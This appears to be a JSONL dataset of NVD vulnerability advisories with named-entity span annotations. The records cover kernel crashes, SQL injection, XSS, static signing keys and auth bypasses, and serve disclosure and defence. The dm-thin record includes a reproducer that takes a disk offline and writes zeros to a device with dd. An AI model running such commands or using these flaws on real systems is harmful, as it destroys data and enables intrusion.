{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: slub: avoid wake up kswapd in set_track_prepare\n\nset_track_prepare() can incur lock recursion.\nThe issue is that it is called from hrtimer_start_range_ns\nholding the per_cpu(hrtimer_bases)[n].lock, but when enabled\nCONFIG_DEBUG_OBJECTS_TIMERS, may wake up kswapd in set_track_prepare,\nand try to hold the per_cpu(hrtimer_bases)[n].lock.\n\nAvoid deadlock caused by implicitly waking up kswapd by passing in\nallocation flags, which do not contain __GFP_KSWAPD_RECLAIM in the\ndebug_objects_fill_pool() case. Inside stack depot they are processed by\ngfp_nested_mask().\nSince ___slab_alloc() has preemption disabled, we mask out\n__GFP_DIRECT_RECLAIM from the flags there.\n\nThe oops looks something like:\n\nBUG: spinlock recursion on CPU#3, swapper/3/0\n lock: 0xffffff8a4bf29c80, .magic: dead4ead, .owner: swapper/3/0, .owner_cpu: 3\nHardware name: Qualcomm Technologies, Inc. Popsicle based on SM8850 (DT)\nCall trace:\nspin_bug+0x0\n_raw_spin_lock_irqsave+0x80\nhrtimer_try_to_cancel+0x94\ntask_contending+0x10c\nenqueue_dl_entity+0x2a4\ndl_server_start+0x74\nenqueue_task_fair+0x568\nenqueue_task+0xac\ndo_activate_task+0x14c\nttwu_do_activate+0xcc\ntry_to_wake_up+0x6c8\ndefault_wake_function+0x20\nautoremove_wake_function+0x1c\n__wake_up+0xac\nwakeup_kswapd+0x19c\nwake_all_kswapds+0x78\n__alloc_pages_slowpath+0x1ac\n__alloc_pages_noprof+0x298\nstack_depot_save_flags+0x6b0\nstack_depot_save+0x14\nset_track_prepare+0x5c\n___slab_alloc+0xccc\n__kmalloc_cache_noprof+0x470\n__set_page_owner+0x2bc\npost_alloc_hook[jt]+0x1b8\nprep_new_page+0x28\nget_page_from_freelist+0x1edc\n__alloc_pages_noprof+0x13c\nalloc_slab_page+0x244\nallocate_slab+0x7c\n___slab_alloc+0x8e8\nkmem_cache_alloc_noprof+0x450\ndebug_objects_fill_pool+0x22c\ndebug_object_activate+0x40\nenqueue_hrtimer[jt]+0xdc\nhrtimer_start_range_ns+0x5f8\n...", "spans": {"FILEPATH: /3/0": [[813, 817], [878, 882]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Qualcomm": [[913, 921]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39843"}}
{"text": "datahub-helm provides the Kubernetes Helm charts for deploying Datahub and its dependencies on a Kubernetes cluster. Starting in version 0.1.143 and prior to version 0.2.182, due to configuration issues in the helm chart, if there was a successful initial deployment during a limited window of time, personal access tokens were possibly created with a default secret key. Since the secret key is a static, publicly available value, someone could inspect the algorithm used to generate personal access tokens and generate their own for an instance. Deploying with Metadata Service Authentication enabled would have been difficult during window of releases. If someone circumvented the helm settings and manually set Metadata Service Authentication to be enabled using environment variables directly, this would skip over the autogeneration logic for the Kubernetes Secrets and DataHub GMS would default to the signing key specified statically in the application.yml. Most deployments probably did not attempt to circumvent the helm settings to enable Metadata Service Authentication during this time, so impact is most likely limited. Any deployments with Metadata Service Authentication enabled should ensure that their secret values are properly randomized. Version 0.2.182 contains a patch for this issue. As a workaround, one may reset the token signing key to be a random value, which will invalidate active personal access tokens.", "spans": {"FILEPATH: application.yml": [[949, 964]], "SYSTEM: Kubernetes": [[26, 36], [97, 107], [853, 863]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-29037"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: 2D). Supported versions that are affected are Java SE: 8u251, 11.0.7 and 14.0.1; Java SE Embedded: 8u251. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Java SE, Java SE Embedded accessible data. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.1 Base Score 3.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [30, 34], [65, 69], [131, 135], [166, 170], [315, 319], [324, 328], [437, 441], [446, 450], [529, 533], [589, 593], [631, 635], [747, 751], [788, 792]], "ORGANIZATION: Oracle": [[58, 64]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14581"}}
{"text": "Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Fusion Middleware (component: Analytics Actions). Supported versions that are affected are 5.5.0.0.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Business Intelligence Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 5.5.0.0": [[178, 185]], "IP_ADDRESS: 12.2.1.3": [[189, 197]], "IP_ADDRESS: 12.2.1.4": [[204, 212]], "ORGANIZATION: Oracle": [[21, 27], [80, 86], [323, 329], [489, 495], [703, 709], [818, 824]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2191"}}
{"text": "Vulnerability in the Oracle Cloud Infrastructure Storage Gateway product of Oracle Storage Gateway (component: Management Console). The supported version that is affected is Prior to 1.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Cloud Infrastructure Storage Gateway. While the vulnerability is in Oracle Cloud Infrastructure Storage Gateway, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Cloud Infrastructure Storage Gateway. Note: Updating the Oracle Cloud Infrastructure Storage Gateway to version 1.4 or later will address these vulnerabilities. Download the latest version of Oracle Cloud Infrastructure Storage Gateway from <a href=\" https://www.oracle.com/downloads/cloud/oci-storage-gateway-downloads.html\">here. Refer to Document <a href=\"https://support.oracle.com/rs?type=doc&id=2768897.1\">2768897.1 for more details. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).", "spans": {"URL: https://www.oracle.com/downloads/cloud/oci-storage-gateway-downloads.html": [[795, 868]], "URL: https://support.oracle.com/rs?type=doc&id=2768897.1": [[903, 954]], "ORGANIZATION: Oracle": [[21, 27], [76, 82], [296, 302], [371, 377], [537, 543], [601, 607], [736, 742]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2317"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: lapbether: fix issue of invalid opcode in lapbeth_open()\n\nIf lapb_register() failed when lapb device goes to up for the first time,\nthe NAPI is not disabled. As a result, the invalid opcode issue is\nreported when the lapb device goes to up for the second time.\n\nThe stack info is as follows:\n[ 1958.311422][T11356] kernel BUG at net/core/dev.c:6442!\n[ 1958.312206][T11356] invalid opcode: 0000 [#1] PREEMPT SMP KASAN\n[ 1958.315979][T11356] RIP: 0010:napi_enable+0x16a/0x1f0\n[ 1958.332310][T11356] Call Trace:\n[ 1958.332817][T11356]  <TASK>\n[ 1958.336135][T11356]  lapbeth_open+0x18/0x90\n[ 1958.337446][T11356]  __dev_open+0x258/0x490\n[ 1958.341672][T11356]  __dev_change_flags+0x4d4/0x6a0\n[ 1958.345325][T11356]  dev_change_flags+0x93/0x160\n[ 1958.346027][T11356]  devinet_ioctl+0x1276/0x1bf0\n[ 1958.346738][T11356]  inet_ioctl+0x1c8/0x2d0\n[ 1958.349638][T11356]  sock_ioctl+0x5d1/0x750\n[ 1958.356059][T11356]  __x64_sys_ioctl+0x3ec/0x1790\n[ 1958.365594][T11356]  do_syscall_64+0x35/0x80\n[ 1958.366239][T11356]  entry_SYSCALL_64_after_hwframe+0x46/0xb0\n[ 1958.377381][T11356]  </TASK>", "spans": {"FILEPATH: /core/dev.c": [[406, 417]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49859"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm thin: fix use-after-free crash in dm_sm_register_threshold_callback\n\nFault inject on pool metadata device reports:\n  BUG: KASAN: use-after-free in dm_pool_register_metadata_threshold+0x40/0x80\n  Read of size 8 at addr ffff8881b9d50068 by task dmsetup/950\n\n  CPU: 7 PID: 950 Comm: dmsetup Tainted: G        W         5.19.0-rc6 #1\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-1.fc33 04/01/2014\n  Call Trace:\n   <TASK>\n   dump_stack_lvl+0x34/0x44\n   print_address_description.constprop.0.cold+0xeb/0x3f4\n   kasan_report.cold+0xe6/0x147\n   dm_pool_register_metadata_threshold+0x40/0x80\n   pool_ctr+0xa0a/0x1150\n   dm_table_add_target+0x2c8/0x640\n   table_load+0x1fd/0x430\n   ctl_ioctl+0x2c4/0x5a0\n   dm_ctl_ioctl+0xa/0x10\n   __x64_sys_ioctl+0xb3/0xd0\n   do_syscall_64+0x35/0x80\n   entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nThis can be easily reproduced using:\n  echo offline > /sys/block/sda/device/state\n  dd if=/dev/zero of=/dev/mapper/thin bs=4k count=10\n  dmsetup load pool --table \"0 20971520 thin-pool /dev/sda /dev/sdb 128 0 0\"\n\nIf a metadata commit fails, the transaction will be aborted and the\nmetadata space maps will be destroyed. If a DM table reload then\nhappens for this failed thin-pool, a use-after-free will occur in\ndm_sm_register_threshold_callback (called from\ndm_pool_register_metadata_threshold).\n\nFix this by in dm_pool_register_metadata_threshold() by returning the\n-EINVAL error if the thin-pool is in fail mode. Also fail pool_ctr()\nwith a new error message: \"Error registering metadata threshold\".", "spans": {"FILEPATH: /01/2014": [[480, 488]], "FILEPATH: /sys/block/sda/device/state": [[970, 997]], "FILEPATH: /dev/zero": [[1006, 1015]], "FILEPATH: /dev/mapper/thin": [[1019, 1035]], "FILEPATH: /dev/sda": [[1101, 1109]], "FILEPATH: /dev/sdb": [[1110, 1118]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[419, 423]], "VULNERABILITY: use-after-free": [[82, 96], [201, 215], [1299, 1313]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50092"}}
{"text": "In Progress MOVEit Transfer before 2021.0.6 (13.0.6), 2021.1.4 (13.1.4), 2022.0.4 (14.0.4), 2022.1.5 (14.1.5), and 2023.0.1 (15.0.1), a SQL injection vulnerability has been found in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain access to MOVEit Transfer's database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database, and execute SQL statements that alter or delete database elements. NOTE: this is exploited in the wild in May and June 2023; exploitation of unpatched systems can occur via HTTP or HTTPS. All versions (e.g., 2020.0 and 2019x) before the five explicitly mentioned versions are affected, including older unsupported versions.", "spans": {"SYSTEM: Microsoft SQL Server": [[361, 381]], "SYSTEM: MySQL": [[354, 359]], "ORGANIZATION: Progress": [[3, 11]], "VULNERABILITY: SQL injection": [[136, 149]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-34362"}}
{"text": "Rogue backends can cause DoS of guests via high frequency events T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Xen offers the ability to run PV backends in regular unprivileged guests, typically referred to as \"driver domains\". Running PV backends in driver domains has one primary security advantage: if a driver domain gets compromised, it doesn't have the privileges to take over the system. However, a malicious driver domain could try to attack other guests via sending events at a high frequency leading to a Denial of Service in the guest due to trying to service interrupts for elongated amounts of time. There are three affected backends: * blkfront patch 1, CVE-2021-28711 * netfront patch 2, CVE-2021-28712 * hvc_xen (console) patch 3, CVE-2021-28713", "spans": {"CVE_ID: CVE-2021-28711": [[751, 765]], "CVE_ID: CVE-2021-28712": [[786, 800]], "CVE_ID: CVE-2021-28713": [[830, 844]], "SYSTEM: Xen": [[194, 197]], "VULNERABILITY: Denial of Service": [[598, 615]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28711"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nerofs: handle overlapped pclusters out of crafted images properly\n\nsyzbot reported a task hang issue due to a deadlock case where it is\nwaiting for the folio lock of a cached folio that will be used for\ncache I/Os.\n\nAfter looking into the crafted fuzzed image, I found it's formed with\nseveral overlapped big pclusters as below:\n\n Ext:   logical offset   |  length :     physical offset    |  length\n   0:        0..   16384 |   16384 :     151552..    167936 |   16384\n   1:    16384..   32768 |   16384 :     155648..    172032 |   16384\n   2:    32768..   49152 |   16384 :  537223168.. 537239552 |   16384\n...\n\nHere, extent 0/1 are physically overlapped although it's entirely\n_impossible_ for normal filesystem images generated by mkfs.\n\nFirst, managed folios containing compressed data will be marked as\nup-to-date and then unlocked immediately (unlike in-place folios) when\ncompressed I/Os are complete.  If physical blocks are not submitted in\nthe incremental order, there should be separate BIOs to avoid dependency\nissues.  However, the current code mis-arranges z_erofs_fill_bio_vec()\nand BIO submission which causes unexpected BIO waits.\n\nSecond, managed folios will be connected to their own pclusters for\nefficient inter-queries.  However, this is somewhat hard to implement\neasily if overlapped big pclusters exist.  Again, these only appear in\nfuzzed images so let's simply fall back to temporary short-lived pages\nfor correctness.\n\nAdditionally, it justifies that referenced managed folios cannot be\ntruncated for now and reverts part of commit 2080ca1ed3e4 (\"erofs: tidy\nup `struct z_erofs_bvec`\") for simplicity although it shouldn't be any\ndifference.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47736"}}
{"text": "Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages. In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes, such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability, an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command under the context of the web-server user. This vulnerability is fixed in version 1.10.8. Blocking access to the `/admin` path from untrusted sources can be applied as a workaround.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21425"}}
{"text": "XWiki Commons are technical libraries common to several other top level XWiki projects. The \"restricted\" mode of the HTML cleaner in XWiki, introduced in version 4.2-milestone-1, only escaped `<script>` and `<style>`-tags but neither attributes that can be used to inject scripts nor other dangerous HTML tags like `<iframe>`. As a consequence, any code relying on this \"restricted\" mode for security is vulnerable to JavaScript injection (\"cross-site scripting\"/XSS). When a privileged user with programming rights visits such a comment in XWiki, the malicious JavaScript code is executed in the context of the user session. This allows server-side code execution with programming rights, impacting the confidentiality, integrity and availability of the XWiki instance. This problem has been patched in XWiki 14.6 RC1 with the introduction of a filter with allowed HTML elements and attributes that is enabled in restricted mode. There are no known workarounds apart from upgrading to a version including the fix.", "spans": {"VULNERABILITY: cross-site scripting": [[441, 461]], "VULNERABILITY: code execution": [[650, 664]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-29201"}}
{"text": "Querybook is an open source data querying UI. In affected versions user provided data is not escaped in the error field of the auth callback url in `querybook/server/app/auth/oauth_auth.py` and `querybook/server/app/auth/okta_auth.py`. This may allow attackers to perform reflected cross site scripting (XSS) if Content Security Policy (CSP) is not enabled or `unsafe-inline` is allowed. Users are advised to upgrade to the latest, patched version of querybook (version 3.14.2 or greater). Users unable to upgrade may enable CSP and not allow unsafe-inline or manually escape query parameters in a reverse proxy.", "spans": {"FILEPATH: /server/app/auth/oauth_auth.py": [[158, 188]], "FILEPATH: /server/app/auth/okta_auth.py": [[204, 233]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-46151"}}
{"text": "A cross-site scripting (XSS) vulnerability in Lexmark CS31x before LW74.VYL.P273; CS41x before LW74.VY2.P273; CS51x before LW74.VY4.P273; CX310 before LW74.GM2.P273; CX410 & XC2130 before LW74.GM4.P273; CX510 & XC2132 before LW74.GM7.P273; MS310, MS312, MS317 before LW74.PRL.P273; MS410, M1140 before LW74.PRL.P273; MS315, MS415, MS417 before LW74.TL2.P273; MS51x, MS610dn, MS617 before LW74.PR2.P273; M1145, M3150dn before LW74.PR2.P273; MS610de, M3150 before LW74.PR4.P273; MS71x,M5163dn before LW74.DN2.P273; MS810, MS811, MS812, MS817, MS818 before LW74.DN2.P273; MS810de, M5155, M5163 before LW74.DN4.P273; MS812de, M5170 before LW74.DN7.P273; MS91x before LW74.SA.P273; MX31x, XM1135 before LW74.SB2.P273; MX410, MX510 & MX511 before LW74.SB4.P273; XM1140, XM1145 before LW74.SB4.P273; MX610 & MX611 before LW74.SB7.P273; XM3150 before LW74.SB7.P273; MX71x, MX81x before LW74.TU.P273; XM51xx & XM71xx before LW74.TU.P273; MX91x & XM91x before LW74.MG.P273; MX6500e before LW74.JD.P273; C746 before LHS60.CM2.P738; C748, CS748 before LHS60.CM4.P738; C792, CS796 before LHS60.HC.P738; C925 before LHS60.HV.P738; C950 before LHS60.TP.P738; X548 & XS548 before LHS60.VK.P738; X74x & XS748 before LHS60.NY.P738; X792 & XS79x before LHS60.MR.P738; X925 & XS925 before LHS60.HK.P738; X95x & XS95x before LHS60.TQ.P738; 6500e before LHS60.JR.P738;C734 LR.SK.P824 and earlier; C736 LR.SKE.P824 and earlier; E46x LR.LBH.P824 and earlier; T65x LR.JP.P824 and earlier; X46x LR.BS.P824 and earlier; X65x LR.MN.P824 and earlier; X73x LR.FL.P824 and earlier; W850 LP.JB.P823 and earlier; and X86x LP.SP.P823 and earlier.", "spans": {"VULNERABILITY: cross-site scripting": [[2, 22]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-10094"}}
{"text": "Fiber is an express inspired web framework written in Go. A Cross-Site Request Forgery (CSRF) vulnerability has been identified in the application, which allows an attacker to inject arbitrary values and forge malicious requests on behalf of a user. This vulnerability can allow an attacker to inject arbitrary values without any authentication, or perform various malicious actions on behalf of an authenticated user, potentially compromising the security and integrity of the application. The vulnerability is caused by improper validation and enforcement of CSRF tokens within the application. This issue has been addressed in version 2.50.0 and users are advised to upgrade. Users should take additional security measures like captchas or Two-Factor Authentication (2FA) and set Session cookies with SameSite=Lax or SameSite=Secure, and the Secure and HttpOnly attributes as defense in depth measures. There are no known workarounds for this vulnerability.", "spans": {"VULNERABILITY: Cross-Site Request Forgery": [[60, 86]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-45128"}}
{"text": "Statamic is a, Laravel + Git powered CMS designed for building websites. In affected versions users registering via the `user:register_form` tag will have their password confirmation stored in plain text in their user file. This only affects sites matching **all** of the following conditions: 1. Running Statamic versions between 5.3.0 and 5.6.1. (This version range represents only one calendar week), 2. Using the `user:register_form` tag. 3. Using file-based user accounts. (Does not affect users stored in a database.), 4. Has users that have registered during that time period. (Existing users are not affected.). Additionally passwords are only visible to users that have access to read user yaml files, typically developers of the application itself. This issue has been patched in version 5.6.2, however any users registered during that time period and using the affected version range will still have the the `password_confirmation` value in their yaml files. We recommend that affected users have their password reset. System administrators are advised to upgrade their deployments. There are no known workarounds for this vulnerability. Anyone who commits their files to a public git repo, may consider clearing the sensitive data from the git history as it is likely that passwords were uploaded.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36119"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix NULL deref in debugfs odm_combine_segments\n\nWhen a connector is connected but inactive (e.g., disabled by desktop\nenvironments), pipe_ctx->stream_res.tg will be destroyed. Then, reading\nodm_combine_segments causes kernel NULL pointer dereference.\n\n BUG: kernel NULL pointer dereference, address: 0000000000000000\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n PGD 0 P4D 0\n Oops: Oops: 0000 [#1] SMP NOPTI\n CPU: 16 UID: 0 PID: 26474 Comm: cat Not tainted 6.17.0+ #2 PREEMPT(lazy)  e6a17af9ee6db7c63e9d90dbe5b28ccab67520c6\n Hardware name: LENOVO 21Q4/LNVNB161216, BIOS PXCN25WW 03/27/2025\n RIP: 0010:odm_combine_segments_show+0x93/0xf0 [amdgpu]\n Code: 41 83 b8 b0 00 00 00 01 75 6e 48 98 ba a1 ff ff ff 48 c1 e0 0c 48 8d 8c 07 d8 02 00 00 48 85 c9 74 2d 48 8b bc 07 f0 08 00 00 <48> 8b 07 48 8b 80 08 02 00>\n RSP: 0018:ffffd1bf4b953c58 EFLAGS: 00010286\n RAX: 0000000000005000 RBX: ffff8e35976b02d0 RCX: ffff8e3aeed052d8\n RDX: 00000000ffffffa1 RSI: ffff8e35a3120800 RDI: 0000000000000000\n RBP: 0000000000000000 R08: ffff8e3580eb0000 R09: ffff8e35976b02d0\n R10: ffffd1bf4b953c78 R11: 0000000000000000 R12: ffffd1bf4b953d08\n R13: 0000000000040000 R14: 0000000000000001 R15: 0000000000000001\n FS:  00007f44d3f9f740(0000) GS:ffff8e3caa47f000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 0000000000000000 CR3: 00000006485c2000 CR4: 0000000000f50ef0\n PKRU: 55555554\n Call Trace:\n  <TASK>\n  seq_read_iter+0x125/0x490\n  ? __alloc_frozen_pages_noprof+0x18f/0x350\n  seq_read+0x12c/0x170\n  full_proxy_read+0x51/0x80\n  vfs_read+0xbc/0x390\n  ? __handle_mm_fault+0xa46/0xef0\n  ? do_syscall_64+0x71/0x900\n  ksys_read+0x73/0xf0\n  do_syscall_64+0x71/0x900\n  ? count_memcg_events+0xc2/0x190\n  ? handle_mm_fault+0x1d7/0x2d0\n  ? do_user_addr_fault+0x21a/0x690\n  ? exc_page_fault+0x7e/0x1a0\n  entry_SYSCALL_64_after_hwframe+0x6c/0x74\n RIP: 0033:0x7f44d4031687\n Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00>\n RSP: 002b:00007ffdb4b5f0b0 EFLAGS: 00000202 ORIG_RAX: 0000000000000000\n RAX: ffffffffffffffda RBX: 00007f44d3f9f740 RCX: 00007f44d4031687\n RDX: 0000000000040000 RSI: 00007f44d3f5e000 RDI: 0000000000000003\n RBP: 0000000000040000 R08: 0000000000000000 R09: 0000000000000000\n R10: 0000000000000000 R11: 0000000000000202 R12: 00007f44d3f5e000\n R13: 0000000000000003 R14: 0000000000000000 R15: 0000000000040000\n  </TASK>\n Modules linked in: tls tcp_diag inet_diag xt_mark ccm snd_hrtimer snd_seq_dummy snd_seq_midi snd_seq_oss snd_seq_midi_event snd_rawmidi snd_seq snd_seq_device x>\n  snd_hda_codec_atihdmi snd_hda_codec_realtek_lib lenovo_wmi_helpers think_lmi snd_hda_codec_generic snd_hda_codec_hdmi snd_soc_core kvm snd_compress uvcvideo sn>\n  platform_profile joydev amd_pmc mousedev mac_hid sch_fq_codel uinput i2c_dev parport_pc ppdev lp parport nvme_fabrics loop nfnetlink ip_tables x_tables dm_cryp>\n CR2: 0000000000000000\n ---[ end trace 0000000000000000 ]---\n RIP: 0010:odm_combine_segments_show+0x93/0xf0 [amdgpu]\n Code: 41 83 b8 b0 00 00 00 01 75 6e 48 98 ba a1 ff ff ff 48 c1 e0 0c 48 8d 8c 07 d8 02 00 00 48 85 c9 74 2d 48 8b bc 07 f0 08 00 00 <48> 8b 07 48 8b 80 08 02 00>\n RSP: 0018:ffffd1bf4b953c58 EFLAGS: 00010286\n RAX: 0000000000005000 RBX: ffff8e35976b02d0 RCX: ffff8e3aeed052d8\n RDX: 00000000ffffffa1 RSI: ffff8e35a3120800 RDI: 0000000000000000\n RBP: 0000000000000000 R08: ffff8e3580eb0000 R09: ffff8e35976b02d0\n R10: ffffd1bf4b953c78 R11: 0000000000000000 R12: ffffd1bf4b953d08\n R13: 0000000000040000 R14: 0000000000000001 R15: 0000000000000001\n FS:  00007f44d3f9f740(0000) GS:ffff8e3caa47f000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 0000000000000000 CR3: 00000006485c2000 CR4: 0000000000f50ef0\n PKRU: 55555554\n\nFix this by checking pipe_ctx->\n---truncated---", "spans": {"HASH: e6a17af9ee6db7c63e9d90dbe5b28ccab67520c6": [[612, 652]], "FILEPATH: /amd/display": [[72, 84]], "FILEPATH: /27/2025": [[710, 718]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[311, 335], [351, 375]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68180"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6mr: Fix skb_under_panic in ip6mr_cache_report()\n\nskbuff: skb_under_panic: text:ffffffff88771f69 len:56 put:-4\n head:ffff88805f86a800 data:ffff887f5f86a850 tail:0x88 end:0x2c0 dev:pim6reg\n ------------[ cut here ]------------\n kernel BUG at net/core/skbuff.c:192!\n invalid opcode: 0000 [#1] PREEMPT SMP KASAN\n CPU: 2 PID: 22968 Comm: kworker/2:11 Not tainted 6.5.0-rc3-00044-g0a8db05b571a #236\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n Workqueue: ipv6_addrconf addrconf_dad_work\n RIP: 0010:skb_panic+0x152/0x1d0\n Call Trace:\n  <TASK>\n  skb_push+0xc4/0xe0\n  ip6mr_cache_report+0xd69/0x19b0\n  reg_vif_xmit+0x406/0x690\n  dev_hard_start_xmit+0x17e/0x6e0\n  __dev_queue_xmit+0x2d6a/0x3d20\n  vlan_dev_hard_start_xmit+0x3ab/0x5c0\n  dev_hard_start_xmit+0x17e/0x6e0\n  __dev_queue_xmit+0x2d6a/0x3d20\n  neigh_connected_output+0x3ed/0x570\n  ip6_finish_output2+0x5b5/0x1950\n  ip6_finish_output+0x693/0x11c0\n  ip6_output+0x24b/0x880\n  NF_HOOK.constprop.0+0xfd/0x530\n  ndisc_send_skb+0x9db/0x1400\n  ndisc_send_rs+0x12a/0x6c0\n  addrconf_dad_completed+0x3c9/0xea0\n  addrconf_dad_work+0x849/0x1420\n  process_one_work+0xa22/0x16e0\n  worker_thread+0x679/0x10c0\n  ret_from_fork+0x28/0x60\n  ret_from_fork_asm+0x11/0x20\n\nWhen setup a vlan device on dev pim6reg, DAD ns packet may sent on reg_vif_xmit().\nreg_vif_xmit()\n    ip6mr_cache_report()\n        skb_push(skb, -skb_network_offset(pkt));//skb_network_offset(pkt) is 4\nAnd skb_push declared as:\n\tvoid *skb_push(struct sk_buff *skb, unsigned int len);\n\t\tskb->data -= len;\n\t\t//0xffff88805f86a84c - 0xfffffffc = 0xffff887f5f86a850\nskb->data is set to 0xffff887f5f86a850, which is invalid mem addr, lead to skb_push() fails.", "spans": {"FILEPATH: /core/skbuff.c": [[315, 329]], "FILEPATH: /01/2014": [[537, 545]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[481, 485]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53365"}}
{"text": "Zulip is an open-source team collaboration tool with unique topic-based threading. In the event that 1: `ZulipLDAPAuthBackend` and an external authentication backend (any aside of `ZulipLDAPAuthBackend` and `EmailAuthBackend`) are the only ones enabled in `AUTHENTICATION_BACKENDS` in `/etc/zulip/settings.py` and 2: The organization permissions don't require invitations to join. An attacker can create a new account in the organization with an arbitrary email address in their control that's not in the organization's LDAP directory. The impact is limited to installations which have this specific combination of authentication backends as described above in addition to having `Invitations are required for joining this organization` organization permission disabled. This issue has been addressed in version 6.2. Users are advised to upgrade. Users unable to upgrade may enable the `Invitations are required for joining this organization` organization permission to prevent this issue.", "spans": {"FILEPATH: /etc/zulip/settings.py": [[286, 308]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28623"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Fix use-after-free caused by l2cap_reassemble_sdu\n\nFix the race condition between the following two flows that run in\nparallel:\n\n1. l2cap_reassemble_sdu -> chan->ops->recv (l2cap_sock_recv_cb) ->\n   __sock_queue_rcv_skb.\n\n2. bt_sock_recvmsg -> skb_recv_datagram, skb_free_datagram.\n\nAn SKB can be queued by the first flow and immediately dequeued and\nfreed by the second flow, therefore the callers of l2cap_reassemble_sdu\ncan't use the SKB after that function returns. However, some places\ncontinue accessing struct l2cap_ctrl that resides in the SKB's CB for a\nshort time after l2cap_reassemble_sdu returns, leading to a\nuse-after-free condition (the stack trace is below, line numbers for\nkernel 5.19.8).\n\nFix it by keeping a local copy of struct l2cap_ctrl.\n\nBUG: KASAN: use-after-free in l2cap_rx_state_recv (net/bluetooth/l2cap_core.c:6906) bluetooth\nRead of size 1 at addr ffff88812025f2f0 by task kworker/u17:3/43169\n\nWorkqueue: hci0 hci_rx_work [bluetooth]\nCall Trace:\n <TASK>\n dump_stack_lvl (lib/dump_stack.c:107 (discriminator 4))\n print_report.cold (mm/kasan/report.c:314 mm/kasan/report.c:429)\n ? l2cap_rx_state_recv (net/bluetooth/l2cap_core.c:6906) bluetooth\n kasan_report (mm/kasan/report.c:162 mm/kasan/report.c:493)\n ? l2cap_rx_state_recv 